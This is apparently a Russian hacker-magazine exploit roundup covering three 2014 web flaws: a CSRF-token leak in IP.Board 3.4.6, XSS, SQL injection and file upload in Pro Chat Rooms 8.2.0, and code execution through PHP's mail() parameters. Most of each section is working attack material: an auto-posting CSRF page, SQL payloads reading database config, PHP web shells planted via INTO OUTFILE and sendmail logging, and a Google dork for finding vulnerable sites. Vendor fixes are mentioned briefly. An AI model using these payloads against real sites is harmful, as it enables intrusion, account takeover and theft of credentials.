Содержание статьи
Сегодняшний наш обзор будет посвящен в основном веб-уязвимостям в популярных продуктах. Также рассмотрим пример атаки на различные приложения, подобную которой когда-то успешно провели на известный PHP-фреймворк Zend Framework.
CSRF-уязвимость в IP.Board 3.4.6
CVSSv2
N/A
BRIEF
Дата релиза: 3 сентября 2014 года
Автор: Piotr S (@evil_xorb)
CVE: N/A
В последних версиях форумного движка IPB содержится уязвимость, позволяющая атакующему украсть CSRF-токен пользователя и выполнять действия от его имени. Ошибка содержится в модуле, который предоставляет пользователю возможность делиться форумными ссылками. Как и всегда, она происходит из-за недостаточной проверки данных, вводимых пользователем. Идентификатор пользователя (токен) передается через GET-параметр в запросе, и если пользователь будет при этом перенаправлен на другой сайт, то сможет передать его атакующему.
Рассмотрим реальный механизм. Пользователь передает ссылку на официальном форуме:
http://community.invisionpower.com/index.php?sharelink=print;aHR0cDovL2NvbW11bml0eS5pbnZpc2lvbnBvd2VyLmNvbS9mb3J1bS5waHA/aWQ9MjMzNQ==
Как ты уже заметил, это Base64-кодировка. Внутри хранится адрес:
http://community.invisionpower.com/forum.php?id=2334
В этом случае пользователь будет без проблем перенаправлен на страницу в этом же форуме. Но из-за ошибки в сравнении строк атакующему достаточно на своем сайте создать поддомен, содержащий уязвимый домен. То есть
http://community.invisionpower.com.your_domain.pl
Далее, если пользователю передать ссылку с нашим доменом, наш скрипт получит следующие данные:
Location: http://community.invisionpower.com.xorb.pl/exploit.html?forcePrint=1&_k=161cc4d2d5503fdb483979f9c164b4d3
В $_GET параметре _k
как раз и передается наш вожделенный токен пользователя. Теперь можно выполнять любые действия от его имени. Рассмотрим одно из действий на примере.
EXPLOIT
Создаем у себя на сайте поддомен вида:
http://forum.victim_site.com.your_domain.pl
Далее по этому адресу создаем файл exploit.html
со следующим содержимым:
<html>
<head>
<script>
onload = function ipboard(){var token = window.location.hash.split('=')[2];document.getElementById('tokens').value=token;};function fo(){document.ipboards.submit();}; setTimeout("fo()",1500);
</script>
</head>
<body>
<form action="http://forum.victim_site.com/index.php?" method="POST" id="ipboards" name="ipboards" enctype="multipart/form-data">
<input type="hidden" name="TopicTitle" value="hacked!" />
<input type="hidden" name="isRte" value="0" />
<input type="hidden" name="noSmilies" value="0" />
<input type="hidden" name="Post" value="IPboard 3.x 0day" />
<input type="hidden" name="ipsTags" value="
" />
<input type="hidden" name="enableemo" value="yes" />
<input type="hidden" name="enablesig" value="yes" />
<input type="hidden" name="st" value="0" />
<input type="hidden" name="app" value="forums" />
<input type="hidden" name="module" value="post" />
<input type="hidden" name="section" value="post" />
<input type="hidden" name="do" value="new_post_do" />
<input type="hidden" name="s" value="x" />
<input type="hidden" name="p" value="0" />
<input type="hidden" name="t" value="
" />
<input type="hidden" name="f" value="2" />
<input type="hidden" name="parent_id" value="0" />
<input type="hidden" name="attach_post_key" value="x" />
<input type="hidden" id="tokens" name="auth_key" value="7xxx3e9" />
<input type="hidden" name="removeattachid" value="0" />
<input type="hidden" name="dosubmit" value="Post New Topic" />
<input type="submit" value="Submit request" />
</form>
</body>
<h1><b>IP Board 3.X PoC<br/>wait... ;)</b></h1>
</body>
</html>
Теперь нужно сделать ссылку, которая будет указывать на наш сайт:
http://community.invisionpower.com/index.php?sharelink=print;aHR0cDovL2ZvcnVtLnZpY3RpbV9zaXRlLmNvbS55b3VyX2RvbWFpbi5jb20vZXhwbG9pdC5odG1sIw==
То есть в Base64-коде после ...print;
будет такая ссылка:
http://forum.victim_site.com.your_domain.com/exploit.html#
Этот скрипт перенаправляет пользователя обратно на форум и создает новую тему от его лица.
Можешь посмотреть видео по эксплуатации этой уязвимости от автора.
TARGETS
IP.Board 3.x–3.4.6.
SOLUTION
Есть исправление от производителя.
Множественные уязвимости в Pro Chat Rooms 8.2.0
CVSSv2
N/A
BRIEF
Дата релиза: 5 августа 2014 года
Автор: Mike Manzotti
CVE: N/A
Автор нашел серию различных уязвимостей в продуктах Text Chat Room и Audio/Video Chat Room (v8.2.0) от компании Prochatrooms.com. Софт написан с использованием языка PHP и технологии Ajax и позволяет на своем сайте иметь многопользовательские чаты для общения между пользователями. Поддерживает систему управлениям участниками чата (модераторы, администраторы), историю и некоторые команды из IRC. Но перейдем к самим уязвимостям.
EXPLOIT
- Начнем с первой — хранимой XSS. После того как пользователь зарегистрировался в системе, он может загрузить изображение для своего профиля, содержащее произвольный JavaScript-код. Информация об отправленном изображении:
POST: http://<WEBSITE>/prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="uploadedfile"; filename="nopic333_Obzoraksploitov.jpg"
Content-Type: image/jpeg
<script>alert(document.cookie)</script>
После загрузки файла пользователь получает 32-символьное значение внутри HTML-тега imgID
:
<input type="hidden" name="imgID" value="798ae9b06cd900b95ed5a60e02419d4b">
Само же изображение хранится в директории /profiles/uploads
, и можно обратиться к нему напрямую:
http://<WEBSITE>/prochatrooms/profiles/uploads/798ae9b06cd900b95ed5a60e02419d4b
- Отраженная XSS. Параметр
edit
при редактировании профиля не обрабатывается:
http://<WEBSITE>/prochatrooms/profiles/index.php?id=1&edit="><script>alert(document.cookie)</script>
- SQL-инъекция. Как пишет автор, после исследования исходников он нашел только три параметра с недостаточной проверкой и уязвимых к инъекции в файле
/includes/functions.php
.
...
$params = array(
'password' => md5($password),
'email' => makeSafe($email),
'id' => $id
);
$query = "UPDATE prochatrooms_users
SET email = '".$email."',
password='".md5($password)."'
WHERE id = '".$id."'
";
...
$query = "UPDATE prochatrooms_users
SET email = '".$email."'
WHERE id = '".$id."'
";
...
$query = "UPDATE prochatrooms_users
SET active = '".$offlineTime."', online = '0'
WHERE username = '".makeSafe($toname)."'
";
Заметь, что защита от атак все-таки есть. Для этого используется функция makeSafe
. Внутри же находится стандартная функция htmlspecialchars()
:
...
function makeSafe($data)
{
$data = htmlspecialchars($data);
return $data;
}
...
После регистрации аккаунта атакующий может проэксплуатировать SQL-инъекцию, отредактировав поле email
, и получить, например, MD5-хеш от пароля администратора.
POST http://<WEBSITE>/prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="profileEmail"
mm () 1dn eu', email=(select adminLogin from prochatrooms_config) where id ='1';#
Помимо этого, инъекция позволяет читать файлы. Для примера загрузим данные о подключении к базе данных:
POST http://<WEBSITE>/prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="profileEmail"
mm () 1dn eu', email=(select load_file('/var/www/prochatrooms/includes/db.php')) where id ='1';#
- Ну и последняя на сегодня уязвимость — произвольная загрузка файлов. Если объединить уязвимости — хранимую XSS и SQL-инъекцию, то мы можем загрузить веб-шелл на сервер. Для начала загрузим изображение со следующим кодом:
POST: http://<WEBSITE>/prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="uploadedfile"; filename="m_Obzoraksploitov.jpg"
Content-Type: application/octet-stream
<?php system($_GET[cmd]);?>
В ответ получим хеш, по которому можно обратиться к загруженному файлу:
<input type="hidden" name="imgID" value="82d0635538da4eac42da25f8f95f8c45">
Теперь воспользуемся инъекцией и создадим файл с нужным нам расширением:
POST http://<WEBSITE>/prochatrooms/profiles/index.php?id=1
Content-Disposition: form-data; name="profileEmail"
mm () 1dn eu' where id ='1'; SELECT
load_file('/var/www/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45') INTO OUTFILE
'/var/www/prochatrooms/profiles/uploads/s.php';#
Проверяем работу шелла, обратившись к http://<WEBSITE>/prochatrooms/profiles/uploads/s.php?cmd=id
:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Дорк для поисковой системы Google, чтобы найти сайты, использующие это приложение:
intitle:"Powered by Pro Chat Rooms"
TARGETS
Pro Chat Rooms 8.2.0.
SOLUTION
Есть исправление от производителя.
Выполнение произвольного кода через PHP-функцию mail()
CVSSv2
N/A
BRIEF
Дата релиза: 8 июля 2014 года
Автор: geoffrey
CVE: N/A
И в конце разберем не совсем уязвимость, а скорее вид атаки на веб-приложения, предложенной автором сайта. Реализовать его можно в некоторых случаях. Рассмотрим работу PHP-функции mail()
.
На вход подается до пяти параметров. Обязательные:
- To.
- Subject.
- Message.
Дополнительные:
- Headers (Optional).
- Parameters (Optional).
Все кажется нормальным на первый взгляд. Интерес здесь представляет второй дополнительный параметр. В документации по PHP расписано, что этот параметр можно использовать для добавления различных аргументов командной строки при отправке писем через sendmail
, которые не были определены в файле с настройками. Также этот параметр по умолчанию выключен при запуске PHP в безопасном режиме начиная с версии 4.2.3.
Но рассмотрим теперь документацию к sendmail
. Интерес для нас представляют следующие параметры:
-O option=value
Устанавливает значение для опции option
. Такая форма использует длинные имена.
-Cfile
Использовать альтернативный файл с настройками. Sendmail выдает нужные права (set-user-ID or set-group-ID), если того требует новый файл.
-X logfile
Логирует весь входящий и исходящий почтовый трафик в указанный файл.
И еще интересная опция:
QueueDirectory=queuedir
Назначить директорию с очередью сообщений.
Стандартный пример работы с этой функцией:
$to = 'a@b.com';
$subject = 's';
$message = 'm';
$headers = '';
$options = '-arg val';
mail($to, $subject, $message, $headers, $options);
Для более наглядного примера работы рассмотрим вызов этой функции в gdb. Для начала будем запускать бинарник php
с нужными нам параметрами:
(gdb) file php
Reading symbols from /opt/php-5.3.0/sapi/cli/php...done.
(gdb) set args -r 'mail("a@b.com", "s", "m", "", "-arg val");'
Ставим точку останова и запускаем:
(gdb) b mail.c:291
Breakpoint 1 at 0x83f39b2: file /opt/php-5.3.0/ext/standard/mail.c, line 291.
(gdb) r
Starting program: /opt/php-5.3.0/sapi/cli/php -r 'mail("a@b.com", "s", "m", "", "-arg val");'
[Thread debugging using libthread_db enabled]
Breakpoint 1, php_mail (to=0x8b5c2b8 "a@b.com", subject=0x8b5c2ec "s", message=0x8b5be2c "m", headers=0x8b5be9c "", extra_cmd=0x8b5c31c "-arg val")
at /opt/php-5.3.0/ext/standard/mail.c:291
291 sendmail = popen(sendmail_cmd, "w");
Выводим значения нужных нам переменных:
(gdb) p sendmail_path
$1 = 0x89af284 "/usr/sbin/sendmail -t -i "
(gdb) p sendmail_cmd
$2 = 0x8b5c35c "/usr/sbin/sendmail -t -i -arg val"
Очень хочется вместо -arg val
указать какую-нибудь команду типа ;ls -al
или еще что-то подобное, но от такого установлена защита. Поэтому вместо прямых команд будем использовать рассмотренные выше аргументы.
EXPLOIT
Теперь загрузим минимальный шелл на сервер:
$to = 'a@b.c';
$subject = '<?php system($_GET["cmd"]); ?>';
$message = '';
$headers = '';
$options = '-OQueueDirectory=/tmp -X/var/www/html/rce.php';
При открытии файла http://localhost/rce.php
в браузере получим следующее содержание:
11226 <<< To: a@b.c
11226 <<< Subject: 11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<
Но при проверке на самом сервере видим, что строка с шеллом есть, а значит, код исполняется:
> cat rce.php
11226 <<< To: a@b.c
11226 <<< Subject: <?php system($_GET["cmd"]); ?>
11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<
Проверим работу http://localhost/rce.php?cmd=ls%20-la
:
11226 <<< To: a@b.c
11226 <<< Subject: total 20
drwxrwxrwx 2 *** *** 4096 Sep 3 01:25 .
drwxr-xr-x 4 *** www-data 4096 Sep 2 23:53 ..
-rw-r--r-- 1 *** *** 92 Sep 3 01:12 config.php
-rwxrwxrwx 1 *** *** 206 Sep 3 01:25 mailexploit.php
-rw-r--r-- 1 www-data www-data 176 Sep 3 01:27 rce.php
11226 <<< X-PHP-Originating-Script: 1000:mailexploit.php
11226 <<<
11226 <<<
11226 <<<
11226 <<< [EOF]
Или рассмотрим пример чтения файлов на сервере. Для этого воспользуемся аргументом -C
:
$options = '-C/var/www/html/config.php -OQueueDirectory=/tmp -X/var/www/html/evil.php';
mail($to, $subject, $message, $headers, $options);
Получаем файл evil.php
со следующим содержимым:
11124 >>> /var/www/html/config.php: line 1: unknown configuration line "<?php"
11124 >>> /var/www/html/config.php: line 3: unknown configuration line "dbuser = 'someuser';"
11124 >>> /var/www/html/config.php: line 4: unknown configuration line "dbpass = 'somepass';"
11124 >>> /var/www/html/config.php: line 5: unknown configuration line "dbhost = 'localhost';"
11124 >>> /var/www/html/config.php: line 6: unknown configuration line "dbname = 'mydb';"
11124 >>> No local mailer defined
Есть правда одно «но»: мало кто даст пользователю контроль над всеми параметрами при отправке писем. Поэтому автор предложил несколько реальных сценариев:
- Панель администратора
Хостеры обычно выдают доступ к этой функции владельцам Shared без проблем, и есть возможность прочитать файлы других пользователей — соседей этого хостинга. Или же как дополнительный вариант — чтобы закрепиться на сервере, оставив лазейку такого вида.
- Почтовый сервис
В некоторых случаях хостеры или сайты предоставляют функционал отправки писем. И если пользователю позволяется указать отправителя через аргумент -f
, то также можно провести атаку:
-f\'${PHPFROM}\' -OQueueDirectory=/tmp -X /var/www/uploads/back.php
где PHPFROM
:
"<?if(isset(\$_SERVER[HTTP_SHELL]))eval(\$_SERVER[HTTP_SHELL]);/*@*/?>"
Подобные «почтовые» сервисы особенно часто встречаются в виде скриптов для рассылки спама, поэтому такой вектор атаки ты можешь встретить до сих пор.
TARGETS
Проверить веб-приложение можно следующим регулярным выражением:
grep -r -n --include "*.php" "mail(.*,.*,.*,.*,.*)" *
Также подобная уязвимость была найдена в популярном PHP-фреймворке Zend, правда, довольно давно, в конце 2011 года.
SOLUTION
Желательно не использовать все пять параметров при вызове функции mail()
или добавить качественную проверку.